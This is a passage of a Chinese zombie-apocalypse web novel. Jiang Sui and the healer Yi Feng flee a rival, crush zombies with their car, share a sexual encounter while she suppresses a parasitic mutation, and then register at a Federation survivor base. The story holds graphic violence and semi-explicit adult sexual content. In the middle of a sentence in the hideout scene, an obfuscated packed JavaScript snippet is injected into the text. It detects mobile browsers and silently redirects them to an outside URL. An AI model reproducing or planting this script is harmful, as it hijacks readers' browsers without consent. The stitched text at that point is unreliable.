她斟酌利弊后认为,那枚满是杂质的中阶晶核能带来的价值远大于他们这两个不稳定的“盟友”,所以哪怕可能要献祭一个队友,程蔓依旧走上了这条不归路。 江岁没道理站在自己的立场上嘲讽她什么,也就不再与她多做纠缠,收好短刀,直起身朝停车场外走。 易逢安静跟在她身后。 “江岁——北边基地——你们真的不去?” 程蔓的嗓音格外沙哑,回荡在充斥着焦炭味的停车场里。 落了个空响。 雪地里一深一浅两串脚印,往南边延伸去了,走出没几步,后面的逐渐又被新落的雪覆去痕迹。 车是江岁指挥着易逢从程蔓那里顺的。 一辆改装过的越野,车顶焊了圈铁架,后备箱塞着半箱物资,乱七八糟什么都有,像是应急的。 江岁把背上的包扒下来扔到后排,拉开驾驶位的门坐进去。 车灯劈开浓稠的夜色,在苍白的雪地上剜出两道焦黄的疤。 易逢坐在副驾驶,指尖无意识抠着外套胸口的拉链头,来回拉扯,一下,又一下。 “为什么不杀了他们?”他忽然问。 江岁的指尖搭在方向盘上轻轻敲着,寡淡的听不出情绪,“麻烦。” 末了她添了句:“杀了麻烦,杀不干净更麻烦。”顿了顿,接着说,“弄脏衣服也麻烦。” 那双黑沉沉的眼睛便终于名正言顺地转过来,落在她侧脸上。 攀附的红纹正在缓慢消退,从颧骨退到下颌,再退到颈侧,最后隐没在围巾遮掩的那道疤痕附近,只留下点浅淡的红痕,像是被皮肤一点点吞吃掉了。 “好看吗?”江岁问。 “嗯。”易逢应声。 她嗤笑了声,方向盘往左带了一把。 车身猛地偏转,轮胎碾过道边隆起的雪堆,沉闷的撞击声从底盘传来。 一具半埋在雪地里的丧尸被卷进车轮底下,脊椎断裂的脆响混在引擎声里,宛若碾碎了一把枯枝。 江岁把方向盘掰正,从后视镜里瞥了一眼。 那具丧尸的下半身还嵌在雪里,上半身被拖行了两三米,黑红色的污血在雪面上犁出一道触目惊心的拖痕。它的手臂还在抽搐,指节抠进雪里,徒劳地想要抓住什么。 还没死透。 江岁挂倒挡,轮胎倒转。 嘎嘣。 颅骨碎裂的声音比脊椎更脆。 她这才满意了似的,重新挂挡往前开。 易逢安静地看着这一幕,面上没什么表情。 风雪被车头劈开,从两侧灌进来,扯着江岁的头发往后凌乱地飘扬。 她脸上的红痕也彻底消退了,取而代之的是一种过度消耗后的苍白,白的失去了属于人的特征,像是顶着张精心捏造出的病面。 前方的雪路上又出现几个蹒跚的黑点。 它们歪歪斜斜地横在路中间,听到引擎声,齐刷刷转过头来。 腐烂的面孔在车灯照射下呈现出一种不祥的青灰色,眼眶塌陷,嘴唇被啃得只剩下牙龈,露出参差不齐的齿根。 江岁没减速。 挡在车前的被保险杠撞飞出去,整个身体像破布娃娃一样翻过车顶,砸在后挡风玻璃上又滚落下去,留下一片黏稠的污血。 从侧边冲上来的被卷入车轮,躯干在底盘下被拖拽、碾压、撕裂,骨骼碎裂的声响连绵不绝,落在耳畔像是一串闷哑的鞭炮。 迎面扑上来那只跃到引擎盖上,指甲刮擦着挡风玻璃,发出令人牙酸的尖啸。 它那张烂了一半的脸就贴在玻璃上,浑浊的眼球里映出江岁的脸。 江岁踩下刹车。 丧尸被惯性甩出去,还没落地,她又猛打方向盘,车身侧面横扫过去,将那只丧尸和紧赶上来的一起撞飞。 两具身体在空中相撞,纠缠着滚落进路边的排水沟槽里,溅起一片灰红色的雪水。 车停了。 江岁靠在座椅上,右手缓缓从方向盘上滑下来,搭在自己大腿上。 她的手指微微发颤,战斗后残余着的无处发泄的亢奋,正顺着血管一下一下地冲击着她的理智,脖颈处的血纹又在蠢蠢欲动,试图趁着这场难得在虚弱中爆发的情感波动蚕食她的身体。 不够。 碾死几只丧尸远远不够。 她需要更直接的、更粗暴的、能让这具被透支到极限的身体重新感受到边界的东西。 “江岁。” 易逢的声音从右侧传来,蒙着层纱似的低哑。 江岁偏过头。 他倾身靠过来。 外套的拉链被他拉开了一半,露出里面那件贴身的黑色薄衫。领口不知什么时候被蹭歪了,斜斜垮下来,露出一侧平直的锁骨和一小片冷白的胸口。 薄衫的布料软塌塌地贴着他饱满的胸口,随着他起伏的呼吸浮动着柔和的弧度,他越是倾身靠得近了,那点软肉便更明显地挤出个浅窝。 易逢一眨不眨地望着她,瞳孔深处有一点细碎的光在晃动,眼熟得好像那个铁桶的余烬中被风卷起后明灭的火星。 “要睡我吗?” 他问。 7. 安息月02 轰—— 车猛地往前窜出一段,突如其来的冲劲带得易逢措手不及,身体略显狼狈地斜着往后甩出去,他的后背重重撞在车门上,喉间溢出声吃痛的闷哼。 他双手分开扒着车座靠背与挡风玻璃,才勉强稳住身形,发尾被甩得扬到胸前,一晃一晃的勾着江岁逐渐失焦的视线。 “江岁……” 易逢不顾车还在无头苍蝇般一个劲往前猛冲,掌心一寸寸攀着皮革往前移,身子朝着她的方向倾着缓缓靠过去,他的目光黏着在江岁目不斜视的侧脸上,呢喃般轻声唤她的名字。 方才那一甩一扯之间,他的外套拉链已经彻底滑到了最底,大敞着半褪下去些,显露出他在略微紧张状态下绷紧的轮廓,流畅起伏的线条掩在深色的布料之下,更增添几分欲盖弥彰般的美感。 车被骤然刹停。 车胎嘶鸣着犁出两道焦黑的痕迹,狰狞地躺在一片灰白之中。 易逢刚抬起来快要触到江岁肩头的手被惯性带着砸到旁侧,指节撞得瞬间红了一片,生理性地微微蜷缩着轻颤。 他整个人再次被甩回车门上,后脑磕在玻璃上,冲击得他的视线往上翻着晕了一瞬。 江岁松开方向盘,撑着中控台翻了过去,膝盖压在副驾驶的坐垫边缘,将他困在座椅与车门的夹角之间。 易逢仰头看着她。 她的瞳孔已经诡异地扩散开来,虹膜一圈只剩下点暗色飘荡着,宛若被什么东西从内部撑开了。 江岁伸手用虎口卡住他的下颌,拇指抵在他下唇那枚小痣上,重重碾过去。 易逢的唇被压得微微张开,隐约还能看见点红润的舌尖匿在齿后,无意识地往外探了点,迎着她的目光露出更多嫩色。 脖颈上那道疤痕又在作祟。 蔓延出的红纹卷土重来,细密的、蜿蜒的,像是某种寄生植物的根茎,顺着江岁的颈侧往上游动,漫过下颌,爬上颧骨。 那些纹路所过之处,会灼烧般泛出奇异的热,好似每一道裂纹之下都藏着千万只贪婪的虫蚁,争先恐后地啃噬着她的躯体。 易逢抬手轻轻贴在她下颌的那片红痕上。 她的皮肤是凉的,蠕动的纹路却是温热的。 那些细密隆起的纹路在他的指尖下搏动着,似是要挣开皮肤束缚破土而出。 江岁偏了些头避开他的触碰,在他迟疑着想要收回之前,掰开他扣在座椅靠背上的另一只手攥在手中。 两只手腕被她并在一起握住,抬高了按在他头顶的车窗上。 他的手腕绝对称不上纤细,但此刻被她压制着,翘起的腕骨交叠错着,倒显出几分伶仃意味。 易逢那双黑沉沉的眸子往上漫着望她,雾蒙蒙的,没有半分挣扎的意图。 “江……” 那声未出口的轻喃被江岁蓦然贴近的距离堵在唇间。 她的齿尖陷进温软的唇肉里,将那点小小的点缀衔在中间磨了磨,惹得易逢轻颤着,喉结上下滚动一遭,眸子里的雾气更重了。 厚软的下唇被她叼着往外扯了扯,松开时又弹回去,泛粉的一层皮肉上沾着薄薄的水光,将那枚小痣润得更深,好似嵌在白瓷上的一点墨。 薄衫已然从他的肩头滑下去,堆叠在上臂位置,半遮不遮。 江岁盯着那点墨色,视野里的一切都似是隔着层发昏的光晕,只余下整片的白。 她抬手扣住他肩侧的布料,往下一扯。 嘶啦—— 本就松垮的领口这下直接被撕开大半,布料撕裂的边缘恰好勒在他的胸口下方。 那处骤然失去布料的束缚,被承托得更加明显的软漾弧度上下小幅弹了弹,才落回原处。 他实在太白,一眼望过去,莹润一片快要比窗外连天的雪还要白上几分,通透的隐约透出青色血管的皮肤上,嵌着抹嫩色,微微凹陷着,更是勾着人的视线不由自主就粘在上面。 江岁的指腹落下去,抵着凹陷的浅坑往下按。 易逢被那激得骤然弹动一下,腰腹猛地收紧,绷得腹沟线条隔着薄衫都能瞧个一清二楚。 他轻轻拧了拧腰,矛盾地往前挺了半分又收回。 “痒……”易逢咬着下唇,眼睫颤个不停,含含糊糊挤出半个字。 江岁已经听不到半分声音了,耳畔尽是嗡嗡作响的细鸣,拐着古怪的调子,针尖似的往她脑子里钻。 她只瞧得见眼前人的唇一张一合,湿漉漉的眸子望着她,邀请似的。 于是她欣然用指腹绕着画了个圈,随后捻着往上捏提。 易逢颤得更加明显,那双被钳制着的手紧扣着车窗边缘,手背上隆起一道道青色的痕迹,原本被她压着的腿都向上抬了半寸,膝盖抵着她的胯骨,半贴半靠地搭着。 蒙着雾气的眸中终于氤氲出了一场细雨,水盈盈映着车窗外洒落的雪色,轻晃着碎成一片片,悬在被霞色晕开的眼尾,从眼尾到鬓边,虚虚漫过去。 江岁松了手,俯身贴上那片充血的皮/肉。 舌尖尝到点明显属于他的浅淡草木药味,卷着被捏过的那点压在舌面下,发硬地抵着,感受着他绷紧又放松,宛若含着块温润的玉。 易逢的手顺着往下滑,顿了顿,又抬起来虚虚环在她的脖颈上,稍稍用力,将她压得更紧。 江岁的意识已然陷入混沌,只知道跟随着身体本能的渴求更进一步。 她的整张脸都像是被一张细密的红色蛛网覆盖住了一般,红纹爬过她的眼眶,正在往她的眉弓蔓延。 那件被撕裂的薄衫随着易逢无意识的颤动慢慢滑下去,露出完整的胸腹。 那截腰袒露出来,腹肌的轮廓清晰却不夸张,流畅地收束下去,两道浅浅的人鱼线从肋下斜斜没入裤腰隐没在粗糙的布料里。 他的裤腰勒在胯骨上,因着方才的动作往下滑了半寸,露出两侧凸起的骨节。 那两块骨头生得格外分明,撑着薄薄的皮肤,两侧各有一个浅浅的窝陷,盛着从车窗外透进来的冷光。 江岁的视线恍惚落在那两个浅窝上。 她的手掌覆上去,虎口卡着他的胯骨,指腹正好嵌进其中。 好似这具身体天生就该被这样握着。 易逢的膝盖不自觉地往里收,却被她挤在中间的身体挡住,只能被迫分开,贴着她的腰侧轻轻蹭着。 江岁脖颈上的红纹已经蔓延到了耳后,面上覆着的还在逐渐加深,一段段、一层层,骇人地鼓动着,仿若要将她吞噬殆尽。 易逢抬起手,指尖沿着她颈侧脉动着最粗的血管往上,轻缓蹭过那些凹凸不平的隆起,微凉的治愈能量从相触的皮肤渗透进去,试图驱散这些入侵者。 可他修复的速度远远跟不上那些东西侵占的速度。 刚消退些的纹路在他指尖移开的瞬间就再次爬满,甚至比之前蔓延得更快。 江岁被他惹得烦了,扣住他的手腕,压回座椅上。 “江岁,”易逢忽然反握住她的手,抬眸直直望着她,“你要异化了。” 红纹从江岁的眼眶爬了进去。 那双原本黑白分明的眼睛里,终于也被那些细密的纹路占据了,赤红一片,顺着瞳孔边缘寸寸裂开。 易逢知道她听不见,她现在所有理智都被耗在与大脑里那些卑劣的入侵者斗争,现在操控她这具身体的,只有无节制的生理本能。 他不能再由着她继续下去。 异化,会变成行尸走肉的。 易逢没再等,摸到她放在口袋的那枚晶核,托着她仍在低头寻觅温热的下颌抬起来,指尖抵着她的齿关分开,轻轻一推,送了进去。 晶核碎裂的瞬间,她面上覆盖的红纹染上些墨染似的黑,翕张着在血管中窜动、流淌,骤然扩散又收缩,引着那成片的纹路蜂拥退下,潮涌般一股股跃入脖颈上那道疤痕之中,沉寂下去。 天边泛起层浑浊的灰白,破开暗沉的穹幕,雪也卷着寒风荡远了,只剩下些细碎的粒子扑在车窗上噼啪拍打着。 江岁有些恍然,视线缓缓聚焦,落在仍旧被她压在身/下的易逢身上。 他仰靠在车门上,薄衫碎裂着堆在腰际,皮肤上留着她指尖掐过的红痕,胸口袒露着被她咬得红肿的痕迹,沾着水光,泛出点湿润的色泽。 易逢的脸侧到一边,半边埋在抬起的臂弯里,露出的那只眼睛一眨不眨看着她,长卷的睫毛被泪水黏成一簇簇,下唇上烙印着一圈牙印。 他没有说话,安静看着她。 江岁沉默半晌,伸手将他额前滑落的发丝向后拨开,指尖往下滑,点在他微肿的唇上。 “我咬的。”她确认似的沿着那圈浅浅的痕迹来回厮磨,眼底最后残余的血纹也消融了。 易逢握住她贴在自己唇上的手,翻转过来,低头,把脸埋了进去。 他湿热的呼吸拂在她的掌心,闷闷的嗓音从中飘出来,“嗯……” 江岁低头看着那颗埋在自己手中的脑袋,满头发丝乱糟糟地翘着,被折腾得像一团毛线球,偏又软绵绵地发不出半分脾气。 半晌,她嗤笑一声,指腹慢悠悠贴着他的脸颊摩挲。 “勾/引我的时候也没见你装好人。”江岁心情不太美好,嘴上也有意挑刺,“怕我死了没人带着你这个哑巴?” “会死吗?”他好像在同她谈论什么轻松的话题,尾音飘忽忽扬上去。 “人没了意识不就是死了?”江岁望向前路。 天亮了,被洒下来的日光一照,整片世界更是白茫茫地糊成一团,偶尔勾勒出几段抽象的线条,也是瞪大了眼睛都看不清的虚影。 掌心忽地被轻轻咬了一口,痒都称不上,倒不如说是被叼着含了含,只落下点莹润的痕迹。 “属狗的?”江岁笑骂。 易逢从她掌心抬起点头,眸子里蕴着的水雾散开了,将那双眼睛洗得黑亮,格外清澈。 “不一样。”他执拗地反驳,“异化,会忘记我。死了不会。” 江岁愣了愣,恍惚撞进一汪映着自己倒影的黑潭之中,水光盈盈搅动着,似乎要把她吸进去。 她默不作声抽回手,没在意被带得往前倾了半分的易逢,搭在方向盘上,发动车子踩下油门。 驶出去好一段,她才幽幽甩了一句。 “异化还不如死了。虽然有道理,但你想法够歹毒的。” 易逢正在整理衣服的手停住,略带僵硬地转过头去看她,“我……” 他试图解释什么,可话在唇间滚了几圈,最终吐出来的只有个寡淡无味的:“哦……” 车停在一栋半坍塌的居民楼侧面。 这是她们两个月前找到的落脚点,三层,靠里的户型,窗户朝向一片封闭的天井,入口被坍塌的楼板堵了大半,不绕到近前根本看不出里面还能住人。 屋子不大,一室一厅,被易逢收拾得很干净。 客厅中间摆着个铁皮炉子,烟囱从破开的窗户上伸出去点头,旁边码着劈好的木柴和乱七八糟的可燃物,整整齐齐摞成个矮垛。 靠墙是一张行军床,上面铺着两层防潮垫和一条洗得发白的棉被,叠得四四方方。 江岁把背包卸下来扔在床脚,蹲下身往炉子里塞了几块碎木头,从口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485835|201999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋里摸出打火机。 咔哒。 火苗窜起来,烧着先前余下的老黄历,摇曳着橘黄色的尾巴,卷进堆了层黑底的炉子里。 易逢抱着物资箱走进来,用后背把门顶上,弯腰将箱子放在床尾,紧挨着背包。 他身上的薄衫还破着,露出锁骨和胸口连片的被她玩得泛红的皮肤。 江岁蹲在炉子前倒腾,侧过头看了他一眼。 “去换衣服。” 易逢“嗯”了声,走进卧室。 窸窸窣窣的布料摩擦声从里面传出来。 江岁往炉子里又添了块木头,盯着跃动的火苗发了会儿呆。 刚才在车上的画面零零碎碎地往脑子里涌,怎么也拼不出完整的。 她记得自己把易逢按在车窗上,记得咬他的下唇…… 再往后就是大片大片的空白,像是被糊住了,什么都看不清。 能记起来的只有触感。 唇上残余的温热,指腹摩挲过的细腻,还有舌尖尝到的浅淡药味。 江岁把指尖贴在唇上,轻轻蹭了蹭。 卧室的动静停了。 易逢走出来,换了件深灰色的长袖,领口规规矩矩拉到锁骨,在江岁对面坐下,两人中间隔着炉子。 他们两个之间惯常是没话可说的沉默,便各做各的事,互不干涉。 易逢侧过身去够物资箱,翻出两袋压缩饼干和一罐巧克力酱,开始准备晚饭。 很简单。 拆包装、撬罐头、把巧克力酱均匀涂抹在饼干上。 炉子里的火这才算烧起来,暖意一点点驱散屋子里的寒气,明明灭灭落在他们脸上,映得人蒙在光晕里忽明忽暗看不真切。 易逢背对着江岁,扎起的发尾从颈侧滑下来,露出一小截后颈。 那上面隐隐印着道红痕。 是她掐的?还是咬的? 她记不清了。 江岁起身走过去,在他身后蹲下。 那道红痕从耳后延伸到衣领里,边缘微微肿起来,好不可怜。 像是指甲抓的,又像是被什么东西刮到了。 “疼吗?”她问。 易逢摇了摇头。 江岁捏住他的后颈,指腹抵着那道红痕缓缓揉开。 他也不挣扎,整个人像只被拎住后颈的猫,乖顺地垂着脑袋,任由她动作。 两个人就着炉火吃完了这顿简陋的晚饭。 压缩饼干硬得硌牙,巧克力酱甜得糊嘴,腻在舌尖上化不开。 但总比饿着强。 江岁吃完最后一口,拍了拍手上的碎屑,起身走到窗边。 窗外天已经彻底黑了,雪细密地从天井上方那一小片夜空里飘落下来。 现在没有风,雪就直直地往下坠,像是谁在天上往下筛面粉,一层又一层,直到把下面的人都埋进去为止。 脖颈上的疤痕又开始发痒。 她抬手挠了挠,能感受到皮肤下面有什么东西在蛰伏着,安安静静的,像是睡着了。 江岁很清楚,中阶晶核的能量撑不了太久,等到这枚晶核的能量耗尽,那些东西就会再次苏醒。 爬满她的脸,钻进她的眼睛,一寸寸吞掉她的意识。 将她变成那种不人不鬼的怪物。 易逢闷不吭声的,用雪水搓干净匕首,妥帖收好,走到床边铺毯子。 他先是把毯子展平,四个角都扯得整整齐齐,又把被子叠成筒状,塞进毯子下面。 忙活完了,他站在床边看看自己的成果,似乎觉得哪里不够满意,又把枕头翻了个面,拍了拍,放回去。 江岁靠在门框上看他折腾,终于在他第三次调整枕头位置的时候开了口。 “你铺的被子不是给人睡的?” 易逢的动作僵住,转过头看她,眼底带着点明晃晃的茫然。 江岁走过去,一把掀开毯子钻进去,拍了拍身边的位置。 “进来。” 易逢脱了外套,乖乖钻进毯子里,侧躺着面对她。 行军床窄得很,两个人挤在一起,他的胸膛几乎贴着她的手臂,脸也挨得极近,近得能感受到对方的呼吸。 炉子里的火渐渐小了,只剩几簇暗红色的余烬还在明灭。 黑暗中江岁看不清他的表情,只能隐约辨认出模糊的轮廓。 她伸手,指腹贴着他的眼角轻轻蹭了蹭。 干涩的。 可她记得,在车里的时候,这儿是蒙着水光的,湿润润地往下淌。 江岁的手指顺着他的眼尾往下滑,停在他的下唇上。 她明明白白记得自己是如何啃咬这块软/肉的,如今痕迹褪了,那时的触感还残余着。 “疼吗?”她又问了一遍。 这次易逢没有摇头。 他握住她的手腕,将她的指尖压在自己唇上,轻轻蹭了蹭。 “疼。”他说。 “疼也不说。”她哼了声。 “说了你会更用力。”他闷声补充。 江岁被这话噎住,沉默几秒,随后笑起来。 她笑得肩膀都在抖,连带着行军床也跟着晃,吱呀吱呀响个不停。 易逢被她笑得莫名其妙,轻轻叼着她的指尖咬了咬。 江岁笑够了,收回手,低头在他唇上咬了一口。 紧接着又松开他的唇,把他的脑袋按回枕头上,手臂搭在他腰上往自己怀里带了点,闭上眼睛。 “睡吧。” 她说。 “等睡醒了,就收拾东西,往北边的基地去看看。” 8. 安息月03 车开了整整两天。 江岁靠在角落里睡了个昏天黑地,却还是恹恹提不起精神。 那枚晶核里也不知究竟融了些什么东西,杂质已经几乎把原本蕴藏的能量消耗殆尽。 能量没感受到多少,体内倒是被那团杂质扰得一团糟。 想来想去,江岁还是感觉得不偿失。 她抬手抹去车玻璃上覆的那层掺着霜的哈气,这才算看清外面站在雪地里给车加油的易逢。 他鼻尖冻得通红,唇上那点血色又褪下去了,远远看过去像是个没生气的精致人偶。 江岁敲了敲车窗。 易逢转过头,眉上缀着两层薄霜,傻愣愣看着她。 快点。 她比了个口型。 易逢下意识应了声,看口型是哦,反应过来她听不到,又乖乖点了点头。 睡久了脑袋发晕,江岁索性给自己寻个事分散一下注意力。 等油桶被易逢用毯子裹好塞回后备箱,她已经翻到驾驶位坐着了。 易逢刚坐进副驾驶,手腕就被江岁拽着握在掌心,贴着他发僵的指节搓了搓。 他没说话,只把另一只手也伸过来,指尖搭在她的袖口,扭着往里钻,紧紧贴着她手腕内侧那块最暖和的皮肤。 江岁轻“嘶”一声,“凉。” 易逢点点头,理直气壮:“冷。” 路面上的积雪被反复碾压又冻结,就留下一片片隆起的高低不平的冰脊,车轮碾上去就是一阵连绵起伏的颠簸,恨不得把人晃得吐出一口酸水。 他们图省时间,歪歪扭扭在废墟里抄近道,也算得上是条小路,偏生却瞧见了各类痕迹。 车辙、脚印、被拖拽后留下的擦痕,新旧交叠着铺在本就杂乱无章的雪面上。 又往前走了一段,她们看到了第一具尸体。 不是完整的,脖颈上空荡荡。 躯体半跪在路边的排水沟里,双手被反绑在身后,那块横截面明显是被反复劈砍出来的,参差不齐,冻住的血液绕着环成圈黑紫的冰壳。 临近了,江岁摇下车窗看了一眼。 那具尸体的衣服被扒得精光,裸露的皮肤呈现出冻死前特有的蜡黄色,肋骨一根根凸出来,已经变成了副裹了层薄皮的骨架。 “奇了怪了……”她这句话飘到易逢耳边的时候,车已经重新提速冲出去一段距离了。 又往前开出一段,这条破道边的尸体多了起来。 有的被堆成一摞,有的散落在路边,有的被倒挂在歪倒的路灯杆上。每具尸体的手腕上都系着根红布条,布条被血水浸透了,冻成硬邦邦的深褐色。 江岁数了数,十一具。 “人杀的?”她原先笃定这是人的手笔,现如今也有些疑惑,偏过头看了眼易逢。 他的视线还粘在那几具倒挂的尸体上,眼珠跟着车身晃动的节奏微微转动,看不出在想什么。 “丧尸。”易逢轻声说,“有丧尸的味道。” 江岁闻言,不知道是想到了什么,闷闷笑了几声。 易逢搞不懂她在自娱自乐什么,懵懵收回视线,微微歪了些头瞧着她。 等江岁笑够了,倾身往他那边靠了点儿,鼻尖凑近他的颈侧,轻轻嗅了嗅,随后才若有所思直起身看着他,像是在评判什么。 易逢被看得紧张,悄悄低头闻了闻自己,没有怪味,干干净净的。 他更加疑惑了,抿着唇犹豫半晌,迟缓开口:“我身上有奇怪的味道吗?” 江岁一本正经点头,“狗味。” 易逢听得眼睛微微睁大些,脑子里空荡荡一片,身子随着颠簸轻轻晃着,像是蔫巴的花。 江岁脑子里还在乱七八糟想那些尸体,视线四处跑了几圈,还能瞥见藏在雪层里露个角的,估计也是那种东西。 宗/教仪式?近些日子也没听到什么风声。 某个团队惹了不该惹的人?能剿杀这么多人的异能者里挑不出这么无聊的。 …… 一时之间想不明白,江岁也不乐意下去讨晦气,把这件怪事留了个心,也就没再去想。 “末世没有狗……” 嘀嘀咕咕似的声音飘忽灌进耳朵里,江岁恍神看过去,易逢整个人都恹恹的,半靠在车门上,嘴里小声念叨着。 “逗你玩的。”江岁大发慈悲解释。 易逢立马抬头看向她,身上那股蔫了吧唧的劲瞬间散了。 “不是狗味,是小狗味。”江岁补充。 “哦……”易逢又蔫了。 绕出了小路,越往目的地靠近,沿途的变化就越明显。 路边的建筑物都被清理过,坍塌的楼板被推到两侧,留出可供车辆通行的通道。 每隔一段距离,就能看到立在雪地里的警示牌,上面喷涂着统一的标识——“前方基地,减速慢行”。 末世还能有这种执行力,除了联邦基地,找不出第二家。 现存的三大聚集地有联邦基地、地下城、伊甸园。 分别占据北、南、西三面。 而联邦基地,全名叫人类幸存者联邦基地。 是个从旧政/府体系里延续下来的组织,但同时也是现存三大聚集地中规模最大、资源最充裕的一个。 他们有自己的军队、工厂、研究所。 甚至还有一套完整的法律法规。 听起来像个笑话。 但联邦确实活下来了,还活得比其他任何地方都好。 不过江岁对此没什么好感。 规矩多的地方,麻烦就多。 麻烦多的地方,她就想绕道走。 天擦黑的时候,基地的轮廓终于出现在视野里。 一片被铁丝网围起来的区域横亘在白茫茫的雪原上,里头正儿八经围了一圈围墙,目测有五米高,混凝土浇筑的,墙顶上还拉了铁丝网,每隔几十米就有一座岗哨。 大门朝南,两扇厚重的钢制门板紧闭着,旁边开了个小门。 门外排着十几号人,有的扛着包,有的互相搀扶着坐在地上。 每个人身上都裹着厚厚的破布和棉被,看着像是一团团灰扑扑的烂棉絮,被风吹到了这墙根底下。 两个穿统一制服的人站在门口,手里端着枪,腰间挂着对讲机,挨个检查排队的人。 检查的不过就两样,有没有被咬和有没有异能。 被咬过的,不让进。 有异能但没登记的,要单独带走。 没异能也没技能的,要看物资储备,交不出入城费的,也不让进。 车慢慢靠过去,刚被示意停下,旁边就窸窸窣窣起了动静。 一个四十来岁的男人被揪出来,脸上挨了一枪托,鼻梁骨被砸断了,血顺着下巴往脖子里灌,还死死抱着怀里那几包压缩饼干,趴在地上哭着哀求。 穿制服的人踢了他后腰一脚,把他从队伍里踹出去。 男人倒在地上,饼干散了一地。 他爬起来去捡,又被踢开。 队伍里的人全都低着头,没人出声。 连看都不敢看。 轮到江岁她们的时候,天已经彻底黑了。 门口那个中年的制服人员例行问话:“名字?” “江岁。” “几个人?” “两个。” “从哪里来,走了多久?” “南边。走了一个多星期。” “异能者?” 江岁还没答,易逢已经开了口:“治愈。” 旁边几个排队的齐刷刷看过来,连坐在墙根底下休息的人都抬起了头。 那两个制服人员交换了个眼神,其中一个转身走到一边,拿起挂在肩头的对讲机,低声说了句什么。 “证件带了吗?”那个制服人员的声音明显客气了些许。 “没有。”江岁说。 他问的是基地之间的通行证,只要进了基地就得办。 先前江岁她们要么是绕路子翻进去,要么就是在外头飘着,手里自然没有这种东西。 “行。”制服人员翻出个小本本,刷刷写了几个字,撕下来一张盖了章的纸条递过来,“内围往右边走,异能者登记处在第三栋楼。把这个交了,会有人安排你们。” 纸条上印着个模糊的红戳,手写的日期和编号,潦草得认不出写的什么。 “入城费呢?”江岁抬眼看了看他。 制服人员看了眼他们背上的包,“物资抽三成,或者晶核一颗。” “要是都不想给呢?” “那就请回。” 江岁侧头看了看易逢,他立刻会意。 易逢拉开背包外侧拉链,大咧咧抖着往外倒,饼干块七零八落铺了一桌,数量少得有些可怜。 明显远远不够“三成”。 制服人员的眉头拧成一股绳,浑浊的眼珠转了转,在江岁和易逢身后硕大的背包上扫来扫去,盯着看了半晌,而后收回了目光,挥挥手让他们进去了。 走出几步,江岁不动声色捏了捏易逢的垂在身侧的指尖。 不出意料地得到了他满是得意的轻哼。 易逢加快脚步,往她身边贴得更紧,又勾住她的尾指轻轻晃了晃。 小门后面是一条窄长的通道,两侧都是铁丝网,头顶上也有铁丝网,往外看着,里头的人倒像是被关在笼子里。 通道尽头又是一道门,推开之后才算真正进了据点。 先看到的是外围。 外围是片开阔地,沿着围墙内侧搭满了各种乱七八糟的棚子。 好的住行军帐篷,差点的住废弃集装箱改造的住所,但也不缺直接在地上挖个坑、上面盖层塑料布的窝棚。 地面上的雪被踩得稀烂,混着泥巴和不知名的糊状物搅成一团团,踩上去粘不拉几的。 偶尔能看到几个穿着整齐、显得有些格格不入的人从人群中穿梭而过,多半是往内围方向去的。 都是登记过的异能者。 江岁停在外围通往内围的关卡前面,仰头看了看。 铁丝网将内外围分割开来,隔几步就戳着根探照灯杆子,把整道隔离带照得亮如白昼。 内围的建筑是预制板搭的,方方正正排列着,雪扫得干干净净,路上铺着碎石,和外围的那些烂泥塘子比,简直是两个世界。 江岁把纸条递给关卡的人,又等了几分钟,才有个人从里面走出来接他们。 “江岁?易逢?”来人戴着副黑框眼镜,他低头看了眼登记表,又抬头打量他们,“治愈系异能者,是哪个?” 易逢抬了抬手。 眼镜的目光在他身上停了停,又转向江岁:“你呢?什么异能?” “没有。” 眼镜愣了一下,显然不太相信这个说法,但也没多问,只是推了推镜框,“跟我来吧。” 登记处设在第三栋楼的一层,是个空荡荡的大开间,四面白墙,靠墙摆了几张金属桌子。 桌上摊着密密麻麻的表格和文件夹,最里面靠墙的地方立着排铁皮柜子,上面贴着各种颜色的标签。 他先是拿了个小仪器贴在两人眉前照了照,江岁亮了红灯,易逢亮了绿灯。 眼镜惊疑不定地晃了晃仪器,似是不相信这个检测结果。 江岁甚是悠闲地四处扫视着,时不时还与易逢低声说几句没营养的话。 那个仪器就是联邦基地创造出来专门监测异能者的。 红灯是无异能,黄灯是初阶异能,绿灯是中阶异能,橙灯是高阶异能。 这东西早两年就有了,也一直在更新迭代。 不过异能评级显然没有联邦基地想的那么简单,他们更换了无数个版本,都试图将异能划分个三六九等好进行进一步的资源分配。 但显然这玩意的没用在江岁和易逢这里体现了个淋漓尽致。 眼镜叹了口气,坐下来,翻出两张空白表格推过来,“填表。” 江岁低头扫了眼。 姓名、年龄、异能类型、异能等级、原籍、过往经历、是否有固定队伍、末世前是否有犯罪记录——密密麻麻印了整页。 她拿起笔,在姓名栏写了两个字,然后把表推回去。“剩下的不填。” 眼镜正要说什么,门被推开,外头走进来个人。 “没事。小李,先安排他们去休息。剩下的明天再说。” 说话的是个四十出头的中年女人,短发,瘦长脸,肩膀上没有任何肩章,但眼镜立刻站起来应了声“是”。 女人先是对着易逢微微点头,“我提前了解过。治愈系异能者,在哪都是稀缺资源。欢迎你们来到联邦基地。你们的情况我会如实上报,在没有定下来之前不会有人为难你们。” 对方说这话的时候语气很温和,可资源这个词听得江岁浑身难受。 想着初来乍到,不想平添麻烦,她也就没多说话。 “明天会有专人带你们做异能测试,”女人的视线终于移到江岁身上,停了停,“至于你,也会安排相应的岗位。” 内围的住宿区是三层高的预制板楼,每层有十六个房间,每个房间不到十平米,里面只有一张铁架床和一张折叠桌。 窗户很小,还不够一个成年人探半个身子出去,窗框上却密密麻麻焊着铁条。 既防丧尸,也防人。 眼镜打开二楼走廊尽头的一扇门,“条件有限,将就一晚。” 房间倒是干净,临时基地居然也有人负责打扫无人住宿房间的卫生。 目前这里的完整程度已经超出了江岁的预想。 江岁把背包扔在床上,在房间里转了一圈,确认墙上没有暗门,窗户下的墙壁也是实心的后,才在床边坐下来。 易逢还站在门口没进来,正盯着走廊尽头墙上贴的一张告示看。 